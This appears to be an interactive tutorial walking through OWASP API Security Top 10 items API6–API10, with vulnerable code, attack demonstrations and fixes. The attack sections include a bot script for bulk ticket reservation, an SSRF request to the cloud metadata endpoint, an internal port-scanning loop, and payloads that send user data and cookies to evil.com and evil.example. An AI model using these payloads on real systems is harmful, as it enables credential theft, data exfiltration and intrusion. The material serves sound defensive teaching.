A member's token repeatedly probing /api/admin/* is a strong signal someone is looking for a function they shouldn't have.

Step 1 of 5
API6

Unrestricted Access to Sensitive Business Flows

Some API endpoints expose a business flow — buying a ticket, posting a comment, redeeming a coupon — without accounting for how that functionality could harm the business if used excessively in an automated manner. This doesn't necessarily come from an implementation bug.

Medium Severity #6 in the API Security Top 10 (2023) Business logic, not a code bug — new in 2023
Step 1

The Normal Flow

A real fan logs into a ticketing site and reserves 2 tickets for a concert. Every part of this request is exactly what it should be.

https://tickets.example.com/events/1247/reserve
Neon Skyline World Tour — National Stadium
2
alicetan92@mail.com (logged in)

✅ Reserved — you have 10 minutes to complete checkout

Network Console
NameStatusTypeSize
POST /api/events/1247/tickets/reserve 200 json 142 B
POST /api/checkout 200 json 96 B
{
  "reservation_id": "rsv_8f21c",
  "event_id": 1247,
  "quantity": 2,
  "account_id": "acc_9931",
  "status": "confirmed",
  "hold_expires_in_s": 600
}
Nothing here looks wrong, because nothing here is wrong — valid session, valid quantity, valid payment method. One request, in isolation, is completely normal.
Step 2

The Vulnerable Design

Read the code again — every check is correct. The flaw isn't in this file at all.

routes/tickets.js Node.js / Express
// POST /api/events/:id/tickets/reserve
app.post('/api/events/:id/tickets/reserve', authenticateToken, async (req, res) => {
  // ✅ Requires a real, authenticated account
  // ✅ Validates quantity is a positive integer within the per-order cap
  const { quantity } = req.body;
  if (!Number.isInteger(quantity) || quantity < 1 || quantity > 4) {
    return res.status(400).json({ error: 'Invalid quantity' });
  }

  const event = await db.getEvent(req.params.id);
  // ✅ Confirms real inventory is available before holding seats
  if (event.ticketsAvailable < quantity) {
    return res.status(409).json({ error: 'Not enough tickets available' });
  }

  const reservation = await db.createReservation(req.user.id, event.id, quantity);
  res.json({ reservation_id: reservation.id, status: 'confirmed', hold_expires_in_s: 600 });
});

// POST /api/checkout
app.post('/api/checkout', authenticateToken, async (req, res) => {
  // ✅ Validates the reservation belongs to this account and hasn't expired
  // ✅ Validates the payment method with the processor before confirming
  const reservation = await db.getReservation(req.body.reservation_id);
  if (reservation.account_id !== req.user.id || reservation.expired) {
    return res.status(400).json({ error: 'Invalid or expired reservation' });
  }

  const payment = await paymentProcessor.charge(req.user, reservation.total);
  if (!payment.success) return res.status(402).json({ error: 'Payment declined' });

  await db.finalizeSale(reservation.id);
  res.json({ status: 'purchased' });
});
This code is not buggy. Auth is checked, quantity is validated, inventory is checked, ownership of the reservation is verified, and payment is validated with a real processor. Every individual safeguard a code reviewer would look for is present.
OWASP's framing for this category: API6 isn't about a coding mistake — it's about exposing a sensitive business flow exactly as designed, without ever asking "what happens if this gets called 500 times a second by something that isn't a human?" The functionality works correctly for one real fan and, unmodified, works just as "correctly" for a bot pretending to be five hundred fans at once.
What's actually missing (none of it is a "bug" — it's an absence):
  • No per-account or per-payment-method purchase velocity limit — one identity making one reservation, or five hundred identities each making one, look identical to this code
  • No bot or headless-browser / device-fingerprint detection on the reserve flow
  • No CAPTCHA or proof-of-work gating specifically the reserve step — only generic rate-limiting on raw HTTP requests, which a distributed swarm of accounts easily stays under
  • No queue or fairness mechanism to smooth out demand that spikes far beyond real human arrival rates
Step 3

The Attack

One script, hundreds of throwaway accounts, and a sale that's effectively over before real fans finish loading the page.

Each individual step below is a perfectly valid API call — the abuse only becomes visible when you look at all of them together.

1 Script A single automation file
→
500 Fake Accounts Signed up in parallel
→
500 Tickets Reserved In under 3 seconds
→
Real Fans See "Sold Out" almost instantly
Automation script (pseudo) — reserve.py
# Every call below is individually valid: real account, real session, real payment
async def grab_tickets(event_id, n_accounts=500):
    accounts = await asyncio.gather(*[
        create_disposable_account() for _ in range(n_accounts)
    ])

    # Each "fan" reserves the max allowed quantity — nothing here is rejected,
    # because nothing about a single reservation looks abusive
    reservations = await asyncio.gather(*[
        reserve(account, event_id, quantity=4) for account in accounts
    ])

    await asyncio.gather(*[
        checkout(account, r.reservation_id, payment=prepaid_card_pool.next())
        for account, r in zip(accounts, reservations)
    ])

# Result: ~2,000 tickets held by one operator within seconds of the sale opening
# Tools required: an async HTTP client and a pool of disposable emails / cards
Nothing was exploited. Every account was real, every session was valid, every payment cleared. The only thing that made this an attack was velocity — and velocity was never a signal this API checked for.
Step 4

The Impact

Real fans lose access to inventory that never really went on sale to them.

Illustrative figures reflecting the pattern industry bot-mitigation reports describe across major high-demand on-sales — not tied to a single incident.

40%+ of traffic hitting a high-demand ticket on-sale can be automated, non-human requests
<60s how quickly some high-demand on-sales show "sold out" before real queues finish loading
!
Ticketmaster (2022) — The Eras Tour Presale

Bots and resellers hammered Ticketmaster's presale purchase flow for Taylor Swift's Eras Tour far beyond real fan demand, overwhelming the system and eventually triggering a US Senate hearing into ticketing practices. Nothing was "hacked" — the purchase flow simply had no effective limit on automated, high-velocity buying.

Source: Wikipedia

Step 5

The Fix

There's no line of buggy code to patch — the fix is layering identity, velocity and friction signals onto the flow itself.

middleware/ticketFlowGuard.js MITIGATED
app.post('/api/events/:id/tickets/reserve', authenticateToken, async (req, res) => {
  // ✅ Purchase velocity: cap reservations per account AND per payment method,
  //    not just per raw HTTP request
  const recent = await velocity.count({
    accountId: req.user.id,
    paymentFingerprint: req.user.savedPaymentFingerprint,
    windowSeconds: 300,
  });
  if (recent.reservations >= 1) {
    return res.status(429).json({ error: 'Purchase limit reached for this sale' });
  }

  // ✅ Device / bot signal: reject headless or fingerprint-farmed clients
  //    specifically on this flow, not just globally
  if (await botSignal.isLikelyAutomated(req.deviceFingerprint)) {
    return res.status(403).json({ error: 'Automated client detected' });
  }

  // ✅ Friction gate: proof-of-work / CAPTCHA in front of THIS step only,
  //    where the abuse actually happens — not sprinkled everywhere
  if (!(await challenge.verify(req.body.challengeToken))) {
    return res.status(403).json({ error: 'Challenge verification failed' });
  }

  // ✅ Fairness under load: route to a virtual waiting room instead of
  //    letting raw request speed decide who wins
  const admitted = await waitingRoom.admit(req.user.id, req.params.id);
  if (!admitted) {
    return res.status(202).json({ status: 'queued', queue_position: admitted.position });
  }

  // ... existing quantity + inventory checks, unchanged ...
});
1
Map your sensitive business flows explicitly

Signup, purchase, comment posting, coupon redemption — list them out and threat-model each one for automated abuse, not just for bugs.

2
Correct code can still enable abuse

If a flow has no velocity or identity constraints, working exactly as designed is enough to be exploited at scale.

3
Combine multiple weak signals

Account age, device fingerprint, request timing and payment method reuse are each easy to fake alone — much harder to fake all together.

4
Add friction selectively, not everywhere

Put a CAPTCHA or queue at the specific step being abused — blanket friction on every endpoint just degrades the experience for real users.

5
Rate-limit the business action, not just the HTTP request

500 accounts each making one request each will sail under a per-IP or per-token request limit — velocity limits need to key on the flow.

6
Watch business metrics as a security signal

Checkout success rate and time-to-sellout belong on a security dashboard, not just an analytics one.

Step 1 of 5
API7

Server Side Request Forgery

SSRF (Server Side Request Forgery) flaws happen when an API fetches a remote resource without validating the user-supplied URI. This lets an attacker coerce the server into sending a crafted request to an unexpected destination — even one protected by a firewall or VPN.

High Severity #7 in the API Security Top 10 (2023)
Step 1

The Normal Flow

A merchant sets a company logo URL in their invoice settings, then exports an invoice as a PDF.

https://shop.example.com/settings/invoices

Logo fetched and embedded — invoice ready to download

Network Console
NameStatusTypeSize
POST /api/invoices/4471/export-pdf 200 pdf 84 KB
Request body
{
  "logo_url": "https://mycompany.com/logo.png"
}
Server-side (not visible to the browser)
GET https://mycompany.com/logo.png → 200 OK (image/png)
Logo embedded into invoice-4471.pdf
Step 2

The Vulnerable Code

The export handler fetches whatever URL the client sends — no allowlist, no validation, no restriction on where that request can go.

routes/invoices.js Node.js / Express
// POST /api/invoices/:id/export-pdf
app.post('/api/invoices/:id/export-pdf', authenticateToken, async (req, res) => {
  const { logo_url } = req.body;

  // ❌ No allowlist — any URL the client supplies is fetched, as-is
  // ❌ No scheme/host validation, no check against private IP ranges
  // ❌ Redirects are followed by default — the final destination is unchecked
  const logoResponse = await fetch(logo_url);
  const logoBuffer = await logoResponse.arrayBuffer();

  // ❌ Whatever came back — even if it isn't really an image — gets embedded
  const pdf = await renderInvoicePdf(req.params.id, logoBuffer);
  res.contentType('application/pdf').send(pdf);
});
What's wrong here (SSRF — Server Side Request Forgery):
  • logo_url comes straight from the client and becomes the destination of a server-initiated HTTP request
  • There's no allowlist restricting which hosts the server is willing to fetch
  • Nothing blocks private, loopback, or link-local IP ranges — the server will happily fetch its own internal network
  • Redirects are followed automatically, so even a URL that looks safe at first can hop somewhere it shouldn't
Why this is especially dangerous in the cloud: AWS, GCP and Azure all expose a metadata endpoint at 169.254.169.254 that trusts any request purely because it originated from the instance itself — no credentials required. A server that will fetch any URL a client provides can be tricked into fetching that endpoint on the attacker's behalf.
SSRF defeats network-level defenses: firewalls and VPNs are built to keep untrusted outsiders out. An SSRF request never crosses that boundary as an outsider — it's issued by the trusted server itself, from inside the trusted network, so it sails straight past controls that were never designed to question the server's own traffic.
Step 3

The Attack

Instead of a logo image, the attacker points logo_url at internal-only addresses the server can reach — but the attacker can't.

Console
> fetch('/api/invoices/4471/export-pdf', {method:'POST', headers:{Authorization:'Bearer <my_own_token>','Content-Type':'application/json'}, body: JSON.stringify({logo_url: 'http://169.254.169.254/latest/meta-data/iam/security-credentials/app-server-role'})})
▶ PDF returned. Embedded "logo" text layer reads:
{
  "AccessKeyId": "ASIAV3XPB7QGEXAMPLE",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",   ← Live AWS credentials
  "Token": "IQoJb3JpZ2luX2VjE...(truncated)",
  "Expiration": "2026-09-16T14:00:00Z"
}
↑ The server treated the metadata response like any other "logo" it fetched and embedded the raw bytes into the PDF. Because the request came from the instance itself, the metadata service handed over temporary credentials for the server's IAM (Identity and Access Management) role — no authentication needed.
Mapping the internal network (attacker script)
# The export-pdf endpoint becomes a free internal port scanner:
# a slow response, a 200, or a timeout each leak something.
for ip in $(seq 1 254); do
  for port in 22 3306 5432 6379 8080 9200; do
    curl -s -m 2 -X POST https://shop.example.com/api/invoices/4471/export-pdf \
      -H "Authorization: Bearer $MY_OWN_TOKEN" \
      -d "{\"logo_url\":\"http://10.0.0.${ip}:${port}/\"}" \
      -o /dev/null -w "10.0.0.${ip}:${port} -> %{http_code} (%{time_total}s)\n"
  done
done

# Also tried directly, since internal DNS often resolves service names:
curl -s -X POST https://shop.example.com/api/invoices/4471/export-pdf \
  -H "Authorization: Bearer $MY_OWN_TOKEN" \
  -d '{"logo_url":"http://internal-admin:8080/"}'

# Result: a live map of internal-only hosts and services that were never
# meant to be reachable from outside the network at all.
Scale of damage: one endpoint that fetches user-supplied URLs, times its own responses, and the attacker has an internal network map — no VPN, no foothold on the network, no credentials beyond their own regular account.
Step 4

The Impact

What one unchecked server-side fetch can hand over — and why it rarely stops at stolen credentials.

A single trusted server making requests on the attacker's behalf tends to cascade far beyond the original endpoint.

Cloud Account Takeover

Stolen metadata credentials can grant access to storage buckets, databases, and other cloud resources the server's role can reach

Internal Service Exposure

Admin panels, databases and dev tools that were "safe" because they weren't internet-facing become reachable anyway

Firewall / VPN Bypass

The request originates from inside the trusted perimeter, so network-level controls never see anything to block

Data Exfiltration

Once an internal service responds, its data can be smuggled back out inside the very response the attacker already controls

!
Capital One (2019) — SSRF via a Misconfigured WAF

An attacker used a server-side request forgery flaw in a misconfigured web application firewall to make it fetch AWS instance metadata, obtaining temporary credentials for a role with far more access than it needed — and from there, over 100 million customers' records from S3.

Source: Wikipedia

!
ImageTragick (2016) — SSRF via Image Processing

ImageMagick, used by countless websites to process uploaded images, would follow embedded "https://" and other delegate URLs inside a crafted image file — letting an attacker make the server fetch internal URLs simply by uploading a specially-crafted image.

Source: Wikipedia

Step 5

The Fix

Never let user input become the destination of a server-side request without an allowlist, IP checks, and no automatic redirects.

routes/invoices.js SECURED
app.post('/api/invoices/:id/export-pdf', authenticateToken, async (req, res) => {
  const { logo_url } = req.body;

  // ✅ Only https:, only hostnames on an explicit allowlist
  const ALLOWED_HOSTS = ['mycompany.com', 'cdn.mycompany.com'];
  let parsed;
  try { parsed = new URL(logo_url); } catch { return res.status(400).json({ error: 'Invalid URL' }); }
  if (parsed.protocol !== 'https:' || !ALLOWED_HOSTS.includes(parsed.hostname)) {
    return res.status(400).json({ error: 'logo_url host is not allowed' });
  }

  // ✅ Resolve DNS ourselves and reject private/link-local/loopback IPs —
  //    checking the hostname alone can't catch DNS rebinding
  const resolvedIp = await resolveHostname(parsed.hostname);
  if (isPrivateOrLinkLocal(resolvedIp)) {
    return res.status(400).json({ error: 'logo_url resolves to a blocked address' });
  }

  // ✅ Fetch by resolved IP, pin the Host header, and never follow redirects
  const logoResponse = await fetch(`https://${resolvedIp}${parsed.pathname}`, {
    redirect: 'manual',
    headers: { Host: parsed.hostname },
  });
  if (logoResponse.status >= 300 && logoResponse.status < 400) {
    return res.status(400).json({ error: 'Redirects are not allowed for logo_url' });
  }
  const logoBuffer = await logoResponse.arrayBuffer();

  const pdf = await renderInvoicePdf(req.params.id, logoBuffer);
  res.contentType('application/pdf').send(pdf);
});
1
Never let user input directly become a request destination

Check any client-supplied URL against an explicit allowlist before the server ever fetches it.

2
Block private, link-local and loopback ranges by default

10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8 and 169.254.0.0/16 should never be reachable from an outbound fetch triggered by user input.

3
Resolve DNS yourself and check the resolved IP

Validating only the hostname is not enough — DNS rebinding can point an allowed-looking hostname at an internal IP after the check.

4
Disable automatic redirect-following

A URL that passes validation can still redirect somewhere dangerous — treat any redirect from a server-initiated fetch as a rejection, not a hop to follow.

5
Route outbound requests through an egress proxy

A central proxy can enforce the allowlist and IP checks consistently, and log every outbound destination for later review.

6
Lock down cloud metadata endpoints

Where the cloud provider supports it, require IMDSv2 (Instance Metadata Service version 2) token-based access — a plain GET request is no longer enough to read credentials.

Step 1 of 5
API8

Security Misconfiguration

APIs and the systems behind them come with a huge number of configuration knobs meant to make them flexible — CORS (Cross-Origin Resource Sharing) policy, documentation exposure, error verbosity, and more. Left at a permissive default, copied from a tutorial, or simply forgotten, any one of those knobs can turn into an open door that needs no exploit at all.

High Severity #8 in the API Security Top 10 (2023)
Step 1

The Normal Flow

A developer visits the PetPal API's public portal and follows a link to the full API reference — a normal, helpful feature on the surface.

https://developer.petpal.io/docs

PetPal Developer Portal

Everything you need to build on the PetPal API — quick starts, API keys, and full interactive docs.


Quick Start Guide

Generate an API Key

Full Reference (Swagger UI)
Headers Preview
NameStatusTypeSize
GET /v1/pets/104 200 json 842 B
Response Headers
HTTP/1.1 200 OK
Content-Type: application/json
Access-Control-Allow-Origin: *
X-Powered-By: Express
X-Framework-Version: PetPalAPI 2.3.0 (Node.js 16.14.2)
Cache-Control: no-store
Date: Tue, 15 Sep 2026 09:12:44 GMT
Step 2

The Misconfigurations

Three separate settings, shipped by three different teams, that each look harmless on their own.

GET https://api.petpal.io/api/swagger.json OpenAPI 3.0 — no authentication required
{
  "openapi": "3.0.0",
  "info": { "title": "PetPal API", "version": "2.3.0" },
  "paths": {
    "/v1/pets": { "get": {}, "post": {} },
    "/v1/pets/{id}": { "get": {} },
    "/v1/users/{id}": { "get": {} },
    "/api/internal/debug/reset-db": {
      "post": {
        "summary": "Resets the staging DB to seed data",
        "description": "INTERNAL USE ONLY — do not call in production"
      }
    }
  }
}
Nothing is hidden: the same spec file that helps real developers integrate also hands over a complete, unauthenticated map of the API — including a destructive debug route that was never meant to leave staging.
middleware/cors.js Node.js / Express
// ❌ Browsers block Access-Control-Allow-Origin: '*' when credentials
//    are involved — so instead of a wildcard, the request's own Origin
//    header is echoed straight back, which achieves the same effect
app.use((req, res, next) => {
  res.header('Access-Control-Allow-Origin', req.headers.origin || '*');
  res.header('Access-Control-Allow-Credentials', 'true');
  // ❌ No allowlist check — ANY calling site is reflected back as "allowed"
  res.header('Access-Control-Allow-Methods', 'GET,POST,PUT,DELETE');
  next();
});
Worse than a plain wildcard: a real Access-Control-Allow-Origin: * at least stays safe from credentialed requests — browsers refuse to attach cookies or tokens to a wildcard origin. Echoing the caller's own Origin header back sidesteps that protection entirely, because the response now names one specific origin — whichever site happens to be asking.

500 Internal Server Error

Error: connect ECONNREFUSED 10.0.4.81:5432
    at Connection.connect (/usr/src/app/node_modules/pg/lib/connection.js:126:17)
    at /usr/src/app/node_modules/pg-pool/index.js:45:11
    at Pool.connect (/usr/src/app/src/db/pool.js:22:9)
    at /usr/src/app/src/routes/pets.js:58:14
Connection string: postgres://petpal_admin:••••••@10.0.4.81:5432/petpal_prod
    at processTicksAndRejections (node:internal/process/task_queues:95:5)

Server: PetPalAPI 2.3.0 (Node.js 16.14.2 / Express 4.17.1)
A stack trace is a floor plan: internal file paths, the exact framework and runtime versions, and a fragment of a live database connection string — all handed to anyone who can trigger a 500, on purpose or not.
Step 3

The Attack

No scanning and no guessing required — the API's own documentation and headers hand over everything needed.

Console
$ curl -s https://api.petpal.io/api/swagger.json | jq '.paths | keys'
[
  "/v1/pets",
  "/v1/pets/{id}",
  "/v1/users/{id}",
  "/api/internal/debug/reset-db"  ← never meant to be public
]
↑ A single unauthenticated request to the spec file the developer portal links to — and the attacker now has a complete map of every route, including one that resets a database.
Console
// Script hosted on evil.com, run in a logged-in PetPal user's browser
fetch('https://api.petpal.io/v1/users/me', {
  credentials: 'include'  // attach the victim's session cookie
}).then(r => r.json()).then(data => {
  fetch('https://evil.com/collect', { method: 'POST', body: JSON.stringify(data) });
});

▶ Access-Control-Allow-Origin: https://evil.com
▶ Access-Control-Allow-Credentials: true
▶ 200 OK — victim's profile, email and saved address exfiltrated
↑ The API reflected evil.com back as an "allowed" origin and kept Allow-Credentials: true — so the browser attached the victim's real session cookie and handed the JSON response straight to a page they never intentionally visited.
Step 4

The Impact

What a handful of "convenient" defaults in production actually end up costing.

Three small settings, one combined blast radius.

Internal Endpoints Abused

Debug and admin-only routes, never meant for public traffic, get discovered and called directly

Cross-Origin Data Theft

Any website a logged-in user happens to visit can silently read their authenticated API responses

Information Disclosure

Stack traces and version banners hand attackers a head start on planning their next move

Compliance Failures

Auditors treat an exposed internal endpoint or leaked credential fragment as a baseline control failure

!
Microsoft Power Apps (2021) — Default-Open Permissions

Power Apps portals shipped with their underlying data APIs set to public by default unless an admin explicitly locked them down. Over 38 million records — including COVID-19 contact-tracing data — were left reachable across hundreds of organizations.

Source: UpGuard

!
Razer (2020) — Unprotected Elasticsearch Server

A misconfigured, internet-facing Elasticsearch server exposed order and shipping details for roughly 100,000 customers for weeks before it was properly secured — no attack technique required, just a browser and the right IP address.

Source: Wikipedia

Step 5

The Fix

Lock down what's public, allowlist origins explicitly, and never let errors talk directly to the client.

server.js SECURED
// 1. CORS: an explicit allowlist — never a wildcard, never an origin-echo
// ✅ Only these known origins may ever receive a credentialed response
const ALLOWED_ORIGINS = ['https://app.petpal.io', 'https://admin.petpal.io'];
app.use(cors({
  origin(origin, cb) {
    if (!origin || ALLOWED_ORIGINS.includes(origin)) return cb(null, true);
    cb(new Error('Not allowed by CORS'));
  },
  credentials: true,
}));

// 2. API docs: never public in production
// ✅ Swagger UI is gated behind admin auth outside of dev/staging
if (process.env.NODE_ENV === 'production') {
  app.use('/api/swagger.json', requireAdminAuth, swaggerUi.serve);
} else {
  app.use('/api/swagger.json', swaggerUi.serve);
}

// 3. Errors: log full detail server-side, return only a generic message
app.use((err, req, res, next) => {
  // ✅ Full stack trace and DB detail go to the logs, never the response
  const requestId = crypto.randomUUID();
  logger.error({ requestId, err, stack: err.stack });
  res.status(500).json({ error: 'Something went wrong.', requestId });
});
1
Never expose docs or debug endpoints in production

Swagger/OpenAPI UIs and debug routes belong behind authentication once they're off a developer's laptop.

2
Use an explicit CORS origin allowlist

Never a wildcard combined with credentials, and never a naive "echo whatever Origin was sent" pattern.

3
Return generic error messages to clients

Log the full stack trace, file paths and connection details server-side — the client only needs a message and a request ID.

4
Apply one hardening baseline everywhere

Staging, QA and production should all start from the same security checklist — not just the environment customers actually see.

5
Diff deployed config against your intended baseline

Regularly and automatically — configuration drifts silently, one "just for now" change at a time.

6
Keep defaults and examples out of what ships

Default credentials, sample configs and tutorial code have a way of surviving all the way to production.

Step 1 of 5
API9

Improper Inventory Management

APIs tend to expose more endpoints than traditional web applications, which makes an accurate, up-to-date inventory essential. Without a clear record of every host and every deployed API version, deprecated versions and forgotten debug endpoints stay reachable — and unprotected — long after anyone meant them to.

Medium Severity #9 in the API Security Top 10 (2023)
Step 1

The Normal Flow

ParcelWave migrated its public API to /api/v2/* two years ago. The developer portal looks modern, current, and properly secured.

https://developer.parcelwave.com/docs/v2

ParcelWave API — v2 Reference

Current, actively maintained. OAuth 2.0 required on every endpoint.

GET /api/v2/shipments/:id
POST /api/v2/shipments
GET /api/v2/users/:id

Same host, same underlying database — but two very different security postures.

Aspect/api/v1/*/api/v2/*
AuthenticationStatic API key in query stringOAuth 2.0 access tokens
Rate limitingNone100 req/min per client
Last updated2019Actively maintained
Officially documented?No — removed from the developer portal in 2021Yes — developer.parcelwave.com/docs/v2
Monitored / alerting?No — excluded from dashboards and on-call rotasFull logging & alerting
Step 2

The Vulnerability Surface

/api/v1/* was never actually decommissioned — it's still deployed, internet-facing, and running on the same infrastructure as v2. It's just no longer documented, monitored, or maintained.

Rediscovering a "decommissioned" API (attacker recon)
# 1. Check the Wayback Machine for the old, since-removed docs page
curl -s "http://web.archive.org/web/2019*/developer.parcelwave.com/docs/v1"

# Result: the cached page still lists every /api/v1/* endpoint and its params

# 2. Pull strings out of an old mobile app build that never got updated
strings ParcelWave-v4.2.apk | grep -o '"https://api.parcelwave.com/v1/[a-zA-Z0-9/_-]*"'

# Result:
"https://api.parcelwave.com/v1/users"
"https://api.parcelwave.com/v1/shipments"
"https://api.parcelwave.com/v1/auth?apikey="

# 3. Or just... guess. It's the same host that serves v2.
curl -s -o /dev/null -w "%{http_code}\n" https://api.parcelwave.com/v1/users

# 200                          ← still deployed, still listening
What makes /api/v1/* dangerous:
  • It reads from the same underlying database as the "secure" v2 API — this isn't a sandbox, it's a live back door
  • Its authentication predates OAuth: a single static API key passed in the query string, unchanged since 2019
  • When v2 shipped proper auth and rate limiting, those fixes were never backported to v1 — the team assumed "nobody uses v1 anymore" and moved on
  • Nobody monitors it, so a working exploit against it can run for months without triggering a single alert
Shadow API vs. zombie API: a shadow API was never in the inventory at all — spun up for a quick internal integration or a one-off partner demo, then forgotten. A zombie API, like v1 here, is the opposite: it was once known, documented and actively maintained, then quietly left running past its planned retirement. Both are invisible to a security team that only tracks what it meant to keep.
OWASP's framing: APIs expose far more endpoints than typical web apps, so a complete, current inventory of every host and every deployed version is a prerequisite for security, not a nice-to-have — you cannot patch, monitor, or retire an API you don't know is still running.
Step 3

The Attack

A forgotten static key, found in a two-year-old public gist, still opens the same users table v2 is supposedly protecting.

Console
> fetch('https://api.parcelwave.com/v1/users?apikey=legacy_demo_key_2019').then(r=>r.json()).then(console.log)
▶ 200 OK
[
  { id: 1, name: "Alice Tan", email: "alice.tan@gmail.com", phone: "+65 9123 4567", address: "22 Jalan Besar" },
  { id: 2, name: "Marcus Ong", email: "marcus.ong@gmail.com", phone: "+65 8812 9091", address: "5 Punggol Walk" },
  ...
]                                 ← Same users table v2 reads from — just a weaker door into it
↑ The key was found in a two-year-old public GitHub gist, still labeled "demo key — for testing only." Nobody rotated or revoked it, because nobody remembered v1 still existed.
Probing for forgotten version prefixes (attacker script)
# Same host, same infrastructure — just try every legacy-sounding prefix
for prefix in v1 beta old internal; do
  curl -s -o /dev/null -w "%{http_code}  /api/${prefix}/users\n" \
    "https://api.parcelwave.com/api/${prefix}/users"
done

# 200  /api/v1/users        ← still deployed, weak auth, unmonitored
# 200  /api/beta/users      ← a forgotten pilot feature, same exposure
# 404  /api/old/users
# 200  /api/internal/users  ← never meant to be public at all
Scale of damage: a five-line loop against one hostname turned up three separate forgotten surfaces — each one a full copy of the same exposure, multiplying the attack surface without multiplying the defenses watching it.
Step 4

The Impact

A single un-retired version undoes years of security work on the one that replaced it.

What one un-decommissioned version costs, even while the "real" API stays fully secured.

Full Data Exposure via a Weaker Door

The exact same records as v2, reachable through a path with none of v2's protections

Wasted Patching Effort

Every security fix shipped to v2 — OAuth, rate limits — never made it back to v1

Wider, Unmanaged Attack Surface

Every un-decommissioned version is another set of endpoints nobody is actively defending

Incident Response Blind Spot

Nobody watches v1's logs, so a live compromise there can run indefinitely unnoticed

!
Optus / Singtel (2022) — A Forgotten, Internet-Facing API

Reporting after the breach pointed to an internet-facing API — reportedly an old testing endpoint no longer meant to be in active use — that required no authentication and returned customer records for any ID requested. Roughly 9.8 million people's data was scraped from Optus, majority-owned by Singapore's Singtel.

Source: Wikipedia

!
SingHealth (2018) — Singapore's Largest Data Breach

Attackers entered through a front-end workstation and pivoted through the network for months, undetected, before reaching the patient records database — investigators tied the breach partly to a sprawling, imperfectly-monitored IT estate. 1.5 million patients' records were stolen, including the Prime Minister's.

Source: Wikipedia

Step 5

The Fix

Retire versions on purpose, on a deadline, with a real inventory backing the decision — not an assumption that traffic will just stop coming.

gateway/routes.js SECURED
// Deprecation window: v1 returns 410 Gone, but signaled removal in advance
const SUNSET_DATE = 'Wed, 31 Dec 2025 23:59:59 GMT';

app.all('/api/v1/*', (req, res) => {
  // ✅ 410 Gone — distinct from 404, tells clients this is permanent, not missing
  res.set('Sunset', SUNSET_DATE);
  res.set('Deprecation', 'true');
  res.set('Link', '<https://developer.parcelwave.com/docs/v2>; rel="successor-version"');
  return res.status(410).json({
    error: 'This API version was retired on 2025-12-31. Migrate to /api/v2/*.'
  });
});

// Applied to every legacy prefix the inventory audit actually found —
// not just v1. Nothing reachable is left unaccounted for.
app.all(['/api/beta/*', '/api/internal/*'], sameRetirementHandler);
1
Maintain a single, current inventory

Track every host, environment and API version actually running — not just the ones you meant to keep.

2
Treat retirement as a real project, with a deadline

Decommissioning an API version needs an owner and a date — not an assumption that traffic will "just stop."

3
Signal removal with Sunset and Deprecation headers

Give any remaining clients real, machine-readable warning before a version is pulled entirely.

4
Run periodic external scans of your own infrastructure

Find what's still reachable from the outside that shouldn't be — before an attacker does instead.

5
Apply the same security baseline to every version

Auth, rate limiting and monitoring shouldn't be reserved for whichever version is newest this quarter.

6
Remove old versions from the live deploy path, not just the docs

Deleting a page from the developer portal doesn't stop the server behind it from still responding.

Step 1 of 5
API10

Unsafe Consumption of APIs

Developers tend to trust data coming back from third-party APIs more than they trust data typed in by their own users, so that data gets weaker validation — sometimes none at all. Attackers know this, and go after the integrated third-party service instead of attacking the target API directly.

Medium Severity #10 in the API Security Top 10 (2023) New in 2023 — about being a client, not just a server
Step 1

The Normal Flow

A shopper checks out. To show a delivery estimate, the app's own backend calls a third-party logistics partner's API.

https://shop.example.com/checkout

Shipping estimate

Estimated delivery via FastShip: 3 days

Tracking will be emailed once shipped

Rate quote source: partner-logistics.example

Network Console
NameStatusTypeSize
GET /v1/rate-quote (server → partner) 200 json 184 B
Response from https://partner-logistics.example/v1/rate-quote
{
  "carrier_name": "FastShip",
  "tracking_url": "https://fastship.example/track/991A",
  "eta_days": 3
}
Step 2

The Vulnerable Code

The app's backend is the client here — and it trusts the partner's response completely, with no validation and no escaping.

services/shippingRates.js Node.js / Express
// Our own backend calling a trusted partner's API
async function getRateQuote(order) {
  const resp = await axios.get(
    'https://partner-logistics.example/v1/rate-quote',
    { params: { postcode: order.postcode }, maxRedirects: 5 }
  );
  const quote = resp.data;

  // ❌ Auto-follows any redirect the partner response points to —
  //    no check on where maxRedirects actually took the request
  if (quote.redirect_url) {
    return axios.get(quote.redirect_url);
  }

  // ❌ carrier_name / tracking_url go straight into storage,
  //    no schema validation, no sanitization — "it's from our partner"
  await db.query(
    'UPDATE orders SET carrier_name = $1, tracking_url = $2 WHERE id = $3',
    [quote.carrier_name, quote.tracking_url, order.id]
  );

  // ❌ Rendered straight into an HTML email with no escaping
  const emailHtml = `<p>Shipped via ${quote.carrier_name}.
    Track it here: <a href="${quote.tracking_url}">${quote.tracking_url}</a></p>`;
  return sendEmail(order.customer_email, emailHtml);
}
What's wrong here:
  • carrier_name and tracking_url are written straight into the database and later straight into an HTML email — with no output escaping, that's a stored injection risk
  • Any redirect_url the partner's response supplies is followed automatically, with no check on the destination
  • None of this data passes through the same validation the app applies to its own users' input
OWASP's core point for this category: a third-party API's response is still untrusted input from a security standpoint. Being "your partner" describes the business relationship — it says nothing about whether their response should be validated before you use it.
The blind spot: the partner's own systems could be compromised — or itself abused by someone else — without your integration's contract changing at all. Nothing on your side has to be wrong for you to end up processing exactly whatever they now send.
Step 3

The Attack

The partner's API itself is now compromised (or abused) — and the app never questions what comes back from it.

Network
NameStatusTypeSize
GET /v1/rate-quote (server → partner) 200 json 241 B
Response from https://partner-logistics.example/v1/rate-quote
{
  "carrier_name": "<script>document.location='https://evil.example/c?d='+document.cookie</script>",
  "tracking_url": "http://169.254.169.254/internal-admin/reset",
  "eta_days": 3
}
↑ Neither field was checked. carrier_name is a script payload waiting to render unescaped, and tracking_url points at an internal-only address the app will happily fetch or redirect to.

One compromised upstream response, followed without question, becomes two separate problems downstream.

Partner API Compromised
→
App backend Trusts & stores response
→
Dashboard / email Script renders unescaped
→
Internal redirect Followed automatically
Step 4

The Impact

A vulnerability you never wrote a line of code for — inherited entirely from a partner integration.

What "just trusting the partner" ends up costing once their response is out of your control.

Stored XSS (Cross-Site Scripting)

A script payload from the partner reaches internal staff dashboards and customer emails

SSRF-Like Internal Exposure

Auto-followed redirects let a third party point your own server at internal-only addresses

Inherited Supply-Chain Compromise

The partner gets breached, and you inherit the consequences with zero code changes on your side

Blurred Incident Response

"Our API" and "their API" get conflated, slowing down root-cause analysis during a breach

!
3CX (2023) — A Supply Chain Attack Inside a Supply Chain Attack

